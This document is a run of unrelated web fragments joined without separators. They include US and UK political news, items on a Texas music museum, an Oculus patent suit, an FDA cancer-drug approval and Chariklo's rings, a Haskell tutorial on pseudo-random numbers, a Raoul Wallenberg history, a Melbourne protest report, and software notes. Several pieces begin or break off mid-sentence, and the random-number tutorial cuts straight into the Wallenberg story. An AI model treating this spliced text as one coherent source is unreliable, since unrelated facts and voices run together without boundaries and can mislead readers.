“Go ahead, Taggart, take your best shot,” O’Donnell concluded.
Watch this video from MSNBC’s The Last Word, broadcast Oct. 18, 2012.
Visit NBCNews.com for breaking news, world news, and news about the economyWith the Alabama and Mississippi primary just a day away, Public Policy Polling released a poll with some startling results about the President's religion and evolution.
When Alabama Republicans were asked if they thought Barack Obama was a Christian, Muslim, or were unsure, just 14 percent said they thought Obama was a Christian. Of the rest, 45 percent said he was a Muslim, and 41 percent weren't sure.
Mississippi voters shared similar views.
Just 12 percent of voters said they believe Obama is a Christian, while 52 percent said he was a Muslim and 36 percent were unsure.
In both states a majority of Republican voters also said they don't believe in Evolution. In Alabama, 60 percent of Republicans said they don't believe in Evolution, and 66 percent of Mississippi voters doubt the theory.
Currently the PPP has Newt Gingrich leading in Mississippi with 33 percent and Romney leading in Alabama with 31 percent.Hilary Armstrong, who served as the former prime minister’s chief whip, says Blair stepped in to rescue Corbyn when he was under threat of deselection
Famously, Jeremy Corbyn could not have entered the Labour leadership contest without the nominations of MPs who wanted a leftwinger in the race, although they had no intention of voting for him. But even before that, it has emerged, the veteran backbench rebel had a highly surprising secret benefactor: Tony Blair.
According to the Labour peer Hilary Armstrong, who served as the former prime minister’s chief whip, Blair stepped in to rescue Corbyn from being removed as an MP when some of Corbyn’s Islington North constituents wanted to deselect him.
Armstrong tells The Westminster Hour on BBC Radio 4 that Blair ruled out the move, taking the view that the party was “a broad church” and could “tolerate that level of difference”, despite Corbyn’s fierce and persistent criticism of his administration.
“I had folk from Jeremy’s constituency come to see me and say, ‘People are a bit upset with Jeremy always being against the Labour government, what if we try to deselect him?’”
She advised them: “You’ll get no support from the leadership, don’t bother.”
Armstrong recalls: “The prime minister was very clear about that when Jeremy was a backbench MP. And he was right; we shouldn’t have worked to deselect him. But I hope that Jeremy will now reflect on that and I hope that he will be absolutely determined to make sure it doesn’t happen under his watch.”
Current Labour MPs are concerned that they will be subjected to attempts to deselect them by Corbyn supporters. The Labour leader has declined to step in and block party rule changes that could make such deselections easier.
Armstrong called on Corbyn to intervene in a similar spirit to Blair. “The real issue is, can you make sure that sectarianism doesn’t rule? And at the moment, in some areas, it is ruling.
“Jeremy has the opportunity over the summer and at party conference to make it absolutely clear that he is not going to lead a narrow sectarian faction, he’s going to lead a broad church that is tolerant. And the real test for Jeremy is, is he up to it?”Steve Earle. Beyonce. Buddy Holly. Geto Boys. Ornette Coleman. Ernest Tubb. Bun B. Selena. Van Cliburn. Johnny Mathis. Stevie Ray Vaughan. And you can’t forget Willie. If ever there were a no-brainer for Texas tourism, surely a museum of Texas music history would fit that description.
But as the sun set on the legislative session last week, so did plans to build such a museum in the Live Music Capitol of the world, also known as Austin.
Texas’ history is reflected in its eclectic music tastes – to the tune of polka, jazz, bluegrass, country, conjunto and more. Small, private museums across the state are proud to showcase their claim to Texas music fame.
“People feel very strongly about the history they hold that makes their part of the state unique,” says Lynn Denton, director of the Public History Program at Texas State University and founding director of the Bob Bullock Texas State History Museum in Austin.
While two separate bills this session proposed the creation of a centralized museum in Austin – bringing together all of that rich history under one roof – the legislation did not pass because nearly 40 regional museums lobbied against it.
“We needed those partners, and we needed them to be enthusiastic about what we were going to do,” Denton says. “They are about the regions they interpret. We wanted to pull all those strings together and give people a really unique experience in Austin about statewide history as well as our context with the national story.”
For now, plans to open the music history museum across from the Bullock State History Museum in Austin have been shelved.
“Building collaborations so that everybody feels they have a place at the table is going to be critical to having a unified approach to moving forward with an institution like this,” Denton says. “In order to be successful, we wanted to be a great destination for people coming to Austin. Education was at the heart of that initiative. What makes a state museum is one that has that overarching purpose.”
Written by Taylor Buchanan.Facebook Inc's FB virtual reality (VR) division, Oculus has reportedly been dragged to court by a California-based technology firm, Techno View Inc. for "infringing" ImmersiON-VRelia's 3D imaging patent design. The design generates left and right perspectives in a 3D video game, per reports.
ImmersiON-VRelia is a VR headset maker based in Redwood City. Techno View is litigating on its behalf, as reported by Reuters. The report further adds that Techno View "may add claims relating to other patents owned ImmersiON-VRelia at a later date."
Earlier this year, Facebook was slapped with a $2 billion lawsuit filed against Oculus by video game company, ZeniMax. Per media reports, ZeniMax claims that Oculus "stole" its intellectual property to boost its own VR research. Though Facebook denied all allegations, it lost the lawsuit and was directed by the court to shell out $500 million in damages to ZeniMax.
Oculus was founded by Palmer Luckey and Brendan Iribe in 2012 and acquired by Facebook in 2014. Facebook's ambitious AR/VR plans are being fueled by Oculus. A few days back, Zuckerberg said that Facebook was going to spend over $3 billion over the next 10 years.
Facebook, Inc. Price
Facebook, Inc. Price | Facebook, Inc. Quote
AR/VR is the next big technological innovation along with Artificial Intelligence (AI). According to a recent IDC report, global revenues of the AR/VR market are expected to grow at a CAGR of 198% from a period of 2015-2020 to $143.3 billion by 2020. Meanwhile, global revenues of the Cognitive & AI market are expected to grow at a CAGR of 54.4% to over $46 billion by 2020.Consequently, all the tech giants like Facebook, Microsoft MSFT and Alphabet GOOGL are pumping huge resources to develop this new technology.
Last year in December, Facebook split Oculus into two separate units-one focusing on developing VR for mobiles, the other one focusing on PCs. Iribe will spearhead the VR for PC unit while ex-Amazon.com Inc AMZN ) executive, Jon Thomason will lead the Mobile VR division.
A few days back, Facebook roped in ex-Xiaomi vice president, Hugo Barra to spearhead the company's VR initiatives as well as the Oculus unit. Zuckerberg added "Hugo shares my belief that virtual and augmented reality will be the next major computing platform. They'll enable us to experience completely new things and be more creative than ever before. Hugo is going to help build that future, and I'm looking forward to having him on our team."
Recently, per media reports, Luckey quit Oculus following a controversy during the U.S. presidential election in 2016. He has remained mostly away from the media ever since reports surfaced that he was financing a group that created anti-Hillary Clinton memes for the web.
At present, Facebook has a Zacks Rank #3 (Hold). You can see the complete list of today's Zacks #1 Rank (Strong Buy) stocks here.
In the past one year, Facebook's shares have generated a return of 29.18%, compared with the Zacks Internet Services industry's gain of 7.75%.
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(n.) the morbid fear of running out of toilet paper. from the greek, literally “absence of paper for hygiene purposes, fear of.”
an abnormal and persistent concern about the possibility of being without toilet paper at the vital moment. highly variable in severity, can range from merely acc-mulating and storing excessive supplies of toilet paper to at the most extreme end, a need to stock up “just in case” every time the person goes past a shop, even though the house is already full of the stuff.
milder forms of toilet paper anxiety not fulfilling criteria for the full-blown disorder include obsessions with whether the paper comes off the roll from the top or underneath, and changing rolls around when they are on the “wrong” way.
(adj) acartohygieiophobic
my acartohygieiophobia is playing up today – had to buy a super saver pack of 24 rolls again.
she’s acartohygieiophobic – did you see her checking out all the rolls in the stalls before choosing one?REUTERS/Suzanne Plunkett A tray containing cancer cells sits on an optical microscope in the Nanomedicine Lab at UCL's School of Pharmacy in London.
The FDA just approved a cancer drug that targets tumors based on genetic makeup as opposed to tissue type.
On Tuesday, the agency approved pembrolizumab (also known as Keytruda) to treat "unresectable or metastatic, microsatellite instability-high (MSI-H) or mismatch repair deficient (dMMR) solid tumors." It's the first time the FDA has approved a cancer drug not based on the tissue type (think: breast, lung, colon cancer), but based on the types of genes a particular tumor presents.
Most companies develop treatments for specific types of cancer, like lung cancer or melanoma, and seek approval just for that one kind of tumor at first, before setting up more trials to see how the drug does in other types of cancer.
Keytruda, a type of cancer immunotherapy, has been approved to treat a number of different cancers. Former President Jimmy Carter was treated with the drug in 2015, and later revealed he was cancer-free.
As researchers look for new approaches for tough-to-treat cancer, many are looking into the types of genetic mutations found in cancerous tumors. Scientists have seen genetic patterns across cancer types for years, an idea that gained notoriety in 2013 with the discovery that endometrial cancer was genetically similar to forms of ovarian and breast cancer.
One company in particular, called Loxo Oncology is also building drugs that act on those mutations, so that the type of cancer someone has wouldn't matter so much as the genetic information gleaned from sequencing the tumor's DNA.
Sequencing tumors has become pretty common, with companies like Foundation Medicine, whose biopsy test takes a piece of cancer tissue and sequences the tumor's genes, and major hospitals such as Memorial Sloan Kettering leading the way to integrating the technology into cancer treatment.
But the uptake still isn't happening as fast as some would like - especially outside of academic hospitals. In part, it's because the sequencing can sometimes be an added cost that doesn't quite pay off. If more drugs get approved based on genetic make-up, that mindset could begin to change.Scientists have discovered two dense and narrow rings around the asteroid Chariklo. This is the smallest object ever found to have rings -- and only the fifth body in our solar system to sport them.
Chariklo belongs to a class of asteroids called Centaur objects, which orbit primarily between Jupiter and Neptune (unlike the numerous main-belt asteroids between the orbits of Mars and Jupiter). The Centaur object (10199) Chariklo orbits the sun between Saturn and Uranus and has a radius of about 124 kilometers. It’s the largest known Centaur object in the solar system, but still far, far smaller than Jupiter, Saturn, Uranus, and Neptune, which all have rings. Until now, rings in the Milky Way have been found exclusively around those four giant planets.
The two rings have been nicknamed Oiapoque and Chuí, after two rivers near the northern and southern extremes of Brazil. And they were revealed during observations of Chariklo passing in front of a distant star.
Astronomers using telescopes at seven different locations -- including the 1.54-meter Danish and TRAPPIST telescopes at European Southern Observatory's La Silla Observatory in Chile -- were able to watch the star apparently vanish for a few seconds as its light was blocked by Chariklo. But for a few seconds before, and again for a few seconds after the main occultation, they saw two very short dips in the star’s brightness. In addition to the expected drop in apparent brightness, double rings have also blocked the light.
"We weren’t looking for a ring and didn’t think small bodies like Chariklo had them at all, so the discovery -- and the amazing amount of detail we saw in the system -- came as a complete surprise!" study researcher Felipe Braga-Ribas of the National Observatory in Rio de Janeiro says in a statement
By comparing observations from different sites, the international team reconstructed the shape and size of the asteroid, along with the shape, width, orientation of the newly discovered double rings. This video shows an artistic view of the ring system, along with the occultation that explains how the detection was made.
The two dense rings have widths of about 7 kilometers and 3 kilometers, and orbital radii of 391 kilometers and 405 kilometers, respectively; they’re separated by a clear gap of 9 kilometers. The researchers think that the rings are partially composed of water ice, and while the rings’ origins remain a mystery, they’re likely the remnants of a disk of debris that resulted from a collision -- and then subsequently confined into narrow rings by small, shepherding satellites.
"So, as well as the rings, it’s likely that Chariklo has at least one small moon still waiting to be discovered," Braga-Ribas adds. After all, rings are often the first step in the materialization of moons.
Want more? You can watch a video of an artist's impression of how the ring system may look close up, and here’s a video of what happened when Chariklo passed in front of a star (don’t blink).
The findings were published in Nature and announced at a press conference today.
Image/video credit: Lucie MaquetTake a minute and watch this video. Is this a candidate worth throwing under the bus in the red state of Nebraska?
I went to the rally last night in Omaha.
It was everything you’d want in a progressive movement. The crowd was enthused, energized, and ready to vote. All colors, creeds, genders, ages, shapes and sizes were represented — and keep in mind, this is Nebraska.
Mello followed an impassioned representative from Planned Parenthood, who made it clear that a woman’s right to choose is a fundamental right that is both moral and economical. The crowd in attendance whole heartedly agreed. They also agreed that Heath Mello is not just an incremental step forward for Omaha, but a giant leap.
We are a ‘pale blue dot’ in an ocean of red. And yesterday, this website and many in the community made it clear that “more and better” democrats, is a hollow call to action.
Heath is a Catholic (most in Omaha are). He has never denied that he is personally pro-life and had to vote (for and against) bills he doesn’t always agree with to protect much worse ones from getting through the super majority we have in our legislature. What he has stated time and time again is his support for Planned Parenthood and expanding it. In separating his personal religious views from public policy.
Heath is running for Mayor in Omaha, Nebraska. Not a Senator from California, or Congressman from New York.
Yesterday, and now today, you see his opponent using this “kerfuffle” against him. As an Omaha resident, I’ve never been more saddened to see how quickly we can turn on each other when the votes really matter.
As someone who voted for Bernie, and then shut the hell up after the primary and voted for Clinton. The irony hits a little too hard.
Update:
www.omaha.com/…
“While my faith guides my personal views, as mayor I would never do anything to restrict access to reproductive health care,” Mello said in the statement. A last-minute addition to the rally was Sofia Jawed-Wessel, an assistant professor of public health and health behavior at UNO, who spoke about her support of Planned Parenthood. “Rally behind Heath Mello and support the candidate who supports Planned Parenthood,” she said.
By the way, guess who is coming to Omaha to support his opponent? Scott Walker.The havoc Donald Trump is wreaking on the presidential race is just the beginning of the problems he is poised to cause Republicans in 2016. Already Trump and his anti-immigrant rhetoric is becoming a flashpoint in the down-the-ballot campaigns. The direction he is pulling his fellow Republicans could put in jeopardy the GOP’s majority in the Senate, as some of the cycle’s most competitive races are taking place in states with heavy Latino populations.
Of the five states that had the largest share of Hispanic voters in 2012 cycle, Florida, Colorado and Nevada are holding what are expected to be extremely contentious Senate races. And already, some of the candidates in those races have been expected to weigh in on Trump’s antics, which involve labeling Mexicans “rapists” and calling for the end of birth citizenship.
“That’s a question that comes up all the time,” Darryl Glenn, a Republican running for Senate in Colorado, told TPM. “What I’m hearing as I travel across the state is that he’s hitting the nerve. He’s addressing issues that we need to talk about.”
GOP Senate candidates are stuck between placating primary voters without completely isolating the Latino voters, who are a quickly growing share of each state’s electorate.
“Immigration does come up, and what we do as a party is we talk about what we recognize: that we recognize that we have a broken immigration system,” said Wadi Gaitan, communications director of the Florida GOP.
That Trump has earned the scorn of Hispanic voters is clear: Two-thirds of Hispanics in a recent Gallup poll viewed Trump unfavorably. Whether his reputation will stick to the Republican Party at large is still up for debate. A Univision survey, for instance, showed that only 14 percent of Hispanic voters believed Trump’s views represented the GOP’s.
Nevertheless, Democrats are pouncing.
“There has been huge negative response from a lot of people in Florida to what they’re seeing from Donald Trump right now,” said Joshua Karp, a spokesman for Rep. Patrick Murphy’s (D-FL) Senate campaign.
Florida
In Florida, where Trump owns many properties, the Hispanic vote went to Obama 60 percent to 39 percent in 2012 and is expected to grow 20 percent of the electorate by 2016 from the 17 percent it was then.
Murphy and Rep. Alan Grayson (D-FL) are vying for the Democratic nomination for Sen. Marco Rubio’s (R-FL) Senate seat, which he is vacating for his presidential run. The Republican Senate primary is splintered among a number of candidates, including Rep. Ron DeSantis (R-FL) and Lt. Governor Carlos Lopez-Cantera.
While the Grayson-Murphy primary is expected to be a bloody one, both have jumped on the opportunity to criticize Trump and his rhetoric regarding immigrants.
Grayson, himself described as the Trump of the left for his brash style, has called Trump’s positions “ subliminal racism.”
“He’s thrown away the dog whistle,” Grayson said on MSNBC last week. “It used to be that you had to speak in metaphors in order to exhibit your racism. now you can just come out and be racist.”
Murphy, meanwhile, appeared on Jorge Ramos’s show over the weekend, just days after Ramos was kicked out of a Trump presser for grilling him on immigration.
“What happened to you this week is exactly what’s wrong with politics today,” Murphy told Ramos. “That Donald Trump can do what he did, have this hateful, racist rhetoric, this demeanor, and get away with it, and get praised by certain people and then act seriously about running for the President of the United States of America is uncalled for. He owes you an apology and the entire community.”
On the GOP side, the candidates have been all over the map as to where they stand on Trump.
Lopez-Cantera has ducked questions about the billionaire, saying soon after the July announcement of his candidacy that he was “happy to talk about any policy matters” instead.
Rep. David Jolly (R-FL), another Senate candidate, has been willing to criticize Trump, saying last week, “We already has one president who divides us, I hope we don’t have another.” Jolly also said, “I don’t think that Donald Trump will be our nominee, so it’s not something that I’m concerned about.”
Meanwhile Todd Wilcox, a Florida businessman running for the GOP Senate nomination, has been more willing to embrace Trump.
“We need diversity of thought, and a diversity of tone and candor in the primary process, and he’s providing that,” Wilcox said in July. “And he’s a masterful entertainer. He’s getting traction because he’s talking about something that people want solved, and he’s doing it in a way that’s getting him a lot of attention.”
Florida GOP strategist Rick Wilson, who is advising Lopez-Cantera, told The Hill the race will come down to the candidates’ own strengths, but still had some words of caution:
“The worst case scenario is that Trump is running a campaign that is only about Trump, and [GOP Senate candidates] are constantly under the gun and trying to answer the latest policy announcement he makes,” Wilson said.
Colorado
The challenge to incumbent Colorado Sen. Michael Bennet (D) is expected to be a competitive one, considering his contentious, come-from behind victory in 2010.
Hispanic voters in the the state favored Obama 75 percent to 23 percent in 2012, and by 2016 the Hispanic share of the electorate is expected to grow to 16 percent from 14 percent in 2012. Bennet, it should be noted, was one of the “Gang of Eight” senators pushing for bipartisan immigration reform that passed in the Senate in 2013 but stalled in the House.
“With Michael’s leadership with comprehensive immigration reform, it will be very clear who is standing up for the Latino community and that’s definitely not Trump,” said state Sen. Jessie Ulibarri, a Democrat who works on immigration issues in Colorado
The Republican primary is only just beginning to pick up steam, but Trump is already making a mark.
“You have people who really are supportive of his positions and how open he is about that and you have some people who are like, ‘Whoa, where is this guy coming from? Is he really going to be elected?’” Glenn told TPM. “But overall I think the general consensus is, they’re happy we’re talking about it.”
Glenn said Trump’s rhetoric was “just not my style,” but he has taken up conservative positions on immigration and said he’s “absolutely opposed to blanket amnesty” and “policies that encourage people to violate the rule of law.”
The state’s other GOP Senate candidate Greg Lopez, a former mayor and director of the Small Business Administration in Parker, Colo., has sought to create more sunlight between himself and Trump.
“With my network and reputation here in Colorado, and people understanding what I stand for, I know they’re not going to connect me to Trump,” Lopez told NBC News. “My network will be able to clearly articulate what I represent — which is not close to what Donald Trump represents.”
Also getting attention in Colorado is a billboard in Orchard Mesa near Grand Junction depicting Trump in a suit of armor dueling a dragon labeled as the “PC Muslim Marxist Media”
Nevada
As soon as Rep. Joe Heck (R-NV) declared his candidacy for Senate Minority Leader Harry Reid’s (D-NV) seat, he was quickly touted as a GOP bridge builder to the Hispanic community, which is expected to grow to 19 percent of the electorate from 16 percent in 2012 and broke for Obama 70 percent to 25 percent that election cycle. Heck has been successful in winning over Latino voters in his previous congressional races.
So far, however, Heck has also been dragged into the Trump mud. At an appearance at the Las Vegas Metro Chamber of Commerce last week, Heck said ending birthright citizenship “needs to be part of the discussion,” even as he said, “I don’t talk about Donald.”
Former state Attorney General Catherine Cortez Masto, the leading Democratic candidate to replace Reid (who is retiring), is Latina, and has taken to Facebook to slam Trump while implicating other Republicans:
“We’ve all heard Donald Trump’s awful comments about Mexican immigrants – they’re so offensive that I won’t repeat them here. And as someone who would be the first Latina to ever serve in the U.S. Senate, I’m especially disgusted,” she wrote in July. “But some extremist Republicans are actually defending Trump’s outrageous remarks! It’s baffling, and it’s flat-out wrong. That kind of hateful speech has no place in our politics.”Build Your Own Simple Random Numbers
Liam O’Connor got me thinking about the best way to explain the idea of a pseudo-random number generator to new programmers. This post is my answer. If you already understand them, there won’t be anything terribly new here. That said, I enjoy clean examples even for easy ideas, so if you do too, then read on!
Note: The title may have caused some confusion. I’m not suggesting you use the trivial algorithms provided here for any purpose. Indeed, they are intentionally over-simplified to make them more understandable. You should read this as an explanation of the idea of how generating random numbers works, and then use the random number generators offered by your operating system or your programming language, which are far better than what’s provided here.
The Problem
Suppose you’re writing a puzzle game, and you need to choose a correct answer. Or suppose you are writing a role-playing game, and need to decide if the knight’s attack hits the dragon or deflects off of its scales. Or you’re writing a tetris game, and you need to decide what shape is going to come next. In all three of these situations, what you really want is a random number. Random numbers aren’t the result of any formula or calculation; they are completely up to chance.
Well, here’s the sad truth of the matter: computers can’t do that. Yes, that’s right. Picking random numbers is one of those tasks that confound even the most powerful of computers. Why? Because computers are calculating machines, and we just said that random numbers aren’t the result of any calculation!
Of course, you’ve probably played games on a computer before that seem to pick numbers at random, so you may not believe me. What you’re seeing, though, aren’t really random numbers at all, but rather pseudo-random numbers. Pseudo-random numbers are actually the result of a mathematical formula, but one designed to be so complicated that it would be hard to recognize any pattern in its results!
Writing a Pseudo Random Number Generator
A lot of smart people actually spend a lot of time on good ways to pick pseudo-random numbers. They try a bunch of different complicated formulas, and try to make sure that patterns don’t pop up. But we can build a simple one pretty easily to pick pseudo-random numbers from 1 to 10. Here it is, in the programming language Haskell:
random i = 7 * i `mod` 11
Since it’s a function, it needs to have an input. It then multiplies that input by 7, and then finds the remainder when dividing by 11. We’ll give it the previous number it picked as input, and it will give us back the next one. Suppose we start at 1. Then we get the following:
random 1 -> 7 random 7 -> 5 random 5 -> 2 random 2 -> 3 random 3 -> 10 random 10 -> 4 random 4 -> 6 random 6 -> 9 random 9 -> 8 random 8 -> 1
Let’s look at the range of answers. Since the answer is always a remainder when dividing by 11, it’ll be somewhere between 0 and 10. But it should be pretty easy to convince ourselves that if the number we give as input is between 1 and 10, then 0 isn’t a possibile answer: if it were, then we’d have found two numbers, both less than 11, that multiply together to give us a multiple of 11. That’s impossible because…. 11 is prime. So we’re guaranteed that this process picks numbers between 1 and 10. It seems to pick them in a non-obvious order with no really obvious patterns, so that’s good. We appear to have at least a good start on generating random numbers.
Notice a couple things:
We had to pick somewhere to start. In this case, we started out by giving an input of 1. That’s called the seed. If you use the same seed, you’ll always get the exact same numbers back! Why? Because it’s really just a complicated math problem, so if you do the same calculation with the same numbers, you’ll get the same result.
To get the next number, we have to remember something (in our case, the last answer) from the previous time. That’s called the state. The state is important, because it’s what makes the process give you different answers each time! If you didn’t remember something from the last time around, then you’d again be doing the same math problem with the same numbers, so you’d get the same answer.
Doing Better By Separating State
Unfortunately, our random number generator has a weakness: you can always predict what’s coming next, based on what came before. If you write tetris using the random number generator from earlier, your player will soon discover that after a line, they always get an L shape, and so on. What you really want is for your game to occasionally send them a line followed by a T, or even pick two lines in a row from time to time!
How do we do this? Well, the next answer that’s coming depends on the state, so our mistake before was to use the previous answer as the state. The solution is to use a state that’s bigger than the answer. We’ll still be looking for random numbers from 1 to 10, but let’s modify the previous random number generator to remember a bigger state. Now, since state and answer are different things, our random function will have two results: a new state, and an answer for this number.
random i = (j, ans) where j = 7 * i `mod` 101 ans = (j - 1) `mod` 10 + 1 -- just the ones place, but 0 means 10
That says take the input, multiply by 7, and find the remainder mod 101. Since 101 is still prime, this will always give answers from 1 to 100. But what we really wanted was a number from 1 to 10, just like the one we had before. That’s fine: we’ll just take the ones place (which is between 0 and 9) and treat 0 as 10. The tens place doesn’t really change the answer at all, but we keep it around to pass back in the next time as state.
Let’s see how this works:
random 1 -> ( 7, 7) random 7 -> (49, 9) random 49 -> (40, 10) random 40 -> (78, 8) random 78 -> (41, 1) random 41 -> (85, 5) random 85 -> (90, 10) random 90 -> (24, 4) random 24 -> (67, 7) random 67 -> (65, 5) random 65 -> (51, 1)
Excellent! Now instead of going in a fixed rotation, some numbers are picked several times, and some haven’t been picked yet at all (but they will be, if we keep going), and you can no longer guess what’s coming next just based on the last number you saw. In this random number generator, the seed was still 1, and the state was a number from 1 to 100.
People who are really interested in good random numbers sometimes talk about the period of a pseudo-random number generator. The period is how many numbers it picks before it starts over again and gives you back the same sequence. Our first try had a period of 10, which is rather poor. Our second try did much better: the period was 100. That’s still pretty far off, though, from the random number generators in most computers, the period of which can be in the millions or billions.
Real World Pseudo-Random Number Generators
Our two toy pseudo-random number generators were fun, but you wouldn’t use them in real programs. That’s because operating systems and programming languages already have plenty of ways to generate pseudo-random numbers. And those were created by people who probably have more time to think about random numbers than you do! But some of the same ideas come up there. For example, consider this (specialized) type signature for the random function in the Haskell programming language:
random :: StdGen -> (Int, StdGen)
Look familiar? StdGen is the state, and choosing a random Int gives you back the Int, and a new StdGen that you can use to get more pseudo-random numbers! Many programming languages, including Haskell, also have “global” random number generators that remember their state automatically (in Haskell, that is called randomIO), but under the covers, it all comes down to functions like the ones we’ve written here… except a lot more complex.
Where To Get a Seed
We’ve still left one question unanswered: where does the seed come from? So far, we’ve always been using 1 for the seed, but that means that each time the program runs, it will get the same numbers back. So we end up with a similar situation to what we saw before, where players will realize that a game starts with the same sequence of random events each time.
To solve this problem, the seed should come from somewhere that won’t be the same each time. Here are two different ways to seed a random number generator.
Mostly, pseudo-random number generators are seeded from a clock. Imagine if you looked at the second hand on a clock, used it to get a number from 1 to 60, and used that for your seed. Then the game would only act the same if it started at the same number of seconds. Even better, you could take the number of seconds since some fixed time in the past, so you’d get an even bigger difference in seeds. (Entirely by coincidence, computers often use the number of seconds since January 1, 1970.) You might try to get a good seed from details of the way the user uses your program. For example, you can look at the exact place the user first clicks the mouse, or exactly how much time passes between pressing keys. They will most likely not be exact, and click a few pixels off or type ever so slightly slower, even if they are trying to do exactly the same thing. So, again, you get a program that acts differently each time. This is called using entropy.
Most of the time, using the computer’s built-in clock is okay. But suppose you’re making up a code word. It would be very bad if someone could guess your code word just by knowing when you picked it! (They would also need to know how your computer or programming language picks random numbers, but that’s not normally kept secret; they can probably find that out pretty easily.) Computer security and privacy often depends on picking unpredictable random numbers — ones that people snooping on you won’t be able to guess. In that case, it |
Holocaust Memorial Museum Image caption A bombed street in Budapest shortly after liberation (USHMM/Eva Cooper)
As the Soviets closed in on Budapest, Wallenberg's final achievement was to persuade the Nazis to stop the planned annihilation of the main Jewish ghetto in Budapest, which was home to 70,000 people.
The German general in charge received a letter from Wallenberg - in it he promised the general would be held personally responsible for the ghetto's destruction and would be hanged as a war criminal once the war was over.
The planned massacre was stopped - Marianne's grandfather was in that ghetto and was her third relative saved by the Swedish diplomat.
Despite saving so many people, Wallenberg's own life had a sad and unexplained ending. In January 1945, after the Soviet Union captured eastern Budapest, Wallenberg was detained by Soviet troops. It was the last time he was seen in public.
It's not clear why they arrested him or how he died. In 1957 the Soviet foreign minister released a report to the Swedish authorities saying that he had died of a heart attack on 17 July 1947 in Moscow's Lubyanka prison.
Image copyright Judi Schiff Image caption Frank Vajda with the certificate recognising Raoul Wallenberg Australia's first and only honorary citizen
But in 2009, two US based researchers investigating Wallenberg's death received a letter from the FSB, Russia's secret police. It said that "with great likelihood", Wallenberg had been renamed "Prisoner No. 7" and that there were records of that prisoner being interrogated on 23 July 1947 - six days after his supposed heart attack.
There are also reports from prisoners, other detained diplomats and even a cleaning lady at one prison who reported seeing a Swede who resembled or called himself Wallenberg. Some of these eyewitnesses say they saw him in prison many years after 1947.
There have been several investigations into his disappearance but none have provided any conclusive answers.
"There is no final proof. The witnesses who claim to have seen him have varying degrees of credibility but none have been proven completely credible," says Levine. "So the best evidence we have is that he was murdered in July 1947 as an inconvenience."
Some have suggested that the Soviets were suspicious of his humanitarian work - that they thought he had some other motive. Or they may have suspected he was an American agent.
"It's easy to speculate that he may have been a spy, but there's no evidence of that," says Levine. "All the other Swedish diplomats were also in Soviet detention for some weeks but they made it back to Stockholm. Wallenberg was not released back and we still don't know why for sure."
Despite this, Wallenberg's memory is kept alive by those he saved - 70 years on, people like Balshone tell his story to younger generations studying the Holocaust in schools and universities. And Vajda, now a Professor of Neurology in Melbourne, petitioned the Australian government to recognise Raoul Wallenberg as that country's first and only honorary citizen.
"If I could meet him now, I would shake his hand, kiss his cheek and hug him," says Balshone. "I would tell him, 'You are a saviour, an unbelievable human being and we all thank you from the bottom of our hearts.'"
Image copyright Vivian Reiss Image caption Marianne Balshone, pictured with her daughter and granddaughter, now lives in Florida
Dr Paul Levine spoke to Witness on the BBC World Service
Subscribe to the BBC News Magazine's email newsletter to get articles sent to your inbox.What was intended as a peaceful protest against the unlawful destruction of the Palace Theatre interior temporarily descended into violence last night, after three unidentified interlopers approached activists and attempted to interrupt their protest.
As Tone Deaf reported yesterday afternoon, a peaceful protest was organised by members of the Save The Palace grassroots group after they and members of the Melbourne Heritage Action obtained photos of rubble that was the result of a construction crew stripping the Palace interior without a permit.
“The rally was held because the development company has secretly started demolishing the inside of the building despite lacking a permit to do so and knowing that the council was deliberating whether the 100 year-old theatre should be heritage listed,” writes YouTube user dodgyville.
“Three men, seemingly on drugs and allegedly young Liberals, attacked the peaceful protesters outside the Palace Theatre. Luckily there was only a small handful of them. They fought repeatedly, tried to intimidate us, yelled homophobic slurs, tried to steal the PA system, smashed one person’s phone, and then ran.”
“It was hard to figure out what they wanted, they yelled some stuff about ‘anti-development fuckheads’ [see the footage below], but they mixed it in with a healthy number of appalling homophobic slurs,” they add.
“Protestors reacted in self-defense to restrain the aggressors when they were assaulting other members of the group or attempting to damage the equipment. The police arrived and one of the provokers was arrested whilst the other two ran away. The protest continued on peacefully,” wrote protestor Ben Mathews in a statement.
According to Mathews, “They were not there by accident and it’s very questionable whether they were sent in by the developers to promote violence and create bad PR for the Save The Palace campaign. The desperate cries of a developer losing their battle to destroy an iconic building.”
Footage of the incident depicts three men seemingly antagonising protestors, with one shouting in support of the developers and claiming the issue is one of “public housing”, before the fight spills out into Bourke St, with protestors yelling at the men to get out of the road.
The beloved venue has been boarded up since May, becoming the site of numerous vigils and protests opposing the actions of Jinshan Investments, the site’s new owners. Last month, a meeting of the Future Melbourne Committee yielded a 6-5 vote to explore local heritage protection for the Palace Theatre.
According to a statement, “The City of Melbourne’s Planning Enforcement and Building Surveying officers are investigating the removal of some of the Palace Theatre’s interior fabric. We have not been able to access the interior of the building at this stage, however it would appear some sections of plaster and some internal doors have been removed.”
However, the statement also claims that city council is “pursuing interim heritage protection for the interior of the Palace Theatre”. Interim Protection Orders (IPOs) can be made under the Heritage Act 1995 to protect places/objects of state level significance which are under immediate or imminent threat.Today I decided to try my hand at releasing a cabal package with the 4Blocks code. I finally managed: http://hackage.haskell.org/package/4Blocks-0.2. (I made a newbie mistake in 0.1 so please ignore that release).
Unfortunately the library can be compiled only with, as far as i know:
GHC 6.8.3
Gtk2hs 0.9.13
The reasons why are in the README file in the cabal package, copy/pasted here:
Some notes:
– The game currently works only with GHC 6.8.3 due to its use of Gtk2hs 0.9.13.
– I haven’t tested with anything later but it is likely to fail due the fact that later versions of Gtk2hs have a different system of handling events.
– To make this project compatible with later versions of GHC and Gtk2hs two changes are required:
– Remove the function “permutations” which was copied from a later GHC base library
– Alter key-event handling to the version used by later Gtk2hs: some functions (in CommandKeys.hs) were simply introduced in order to disallow some of the keys used in the game (namely rotation) to trigger continuously when a key is held pressed. I believe this kind of behaviour can be managed automatically with Gtk2hs’ new event handling mechanism, however I haven’t had time to recode accordingly myself.
– I hope to write a patch for this in the near future.
So yeah, fairly old now, but I thought, I’d share the code all the same as some people have requested it earlier. Hopefully I will release the code with my AI later on after my project is over and done with in summer and also a patch to make it work with newer versions of GHC and Gtk2hs.
I have to say I really enjoyed coding the game in Haskell and if you have any comments for me, regarding better ways to code stuff, silly things I did, or anything else please let me know by leaving a comment!
AdvertisementsWhat is xfdashboard?
Short: Maybe a Gnome shell like dashboard for Xfce Longer: xfdashboard provides a GNOME shell dashboard like interface for use with Xfce desktop. It can be configured to run to any keyboard shortcut and when executed provides an overview of applications currently open enabling the user to switch between different applications. The search feature works like Xfce's app finder which makes it convenient to search for and start applications.
Documentation
You can find a quick'n'dirty guide to xfdashboard at this link.
Documentation for theming is here.
All settings stored in Xfconf by xfdashboard are documented here.
Releases
Stable
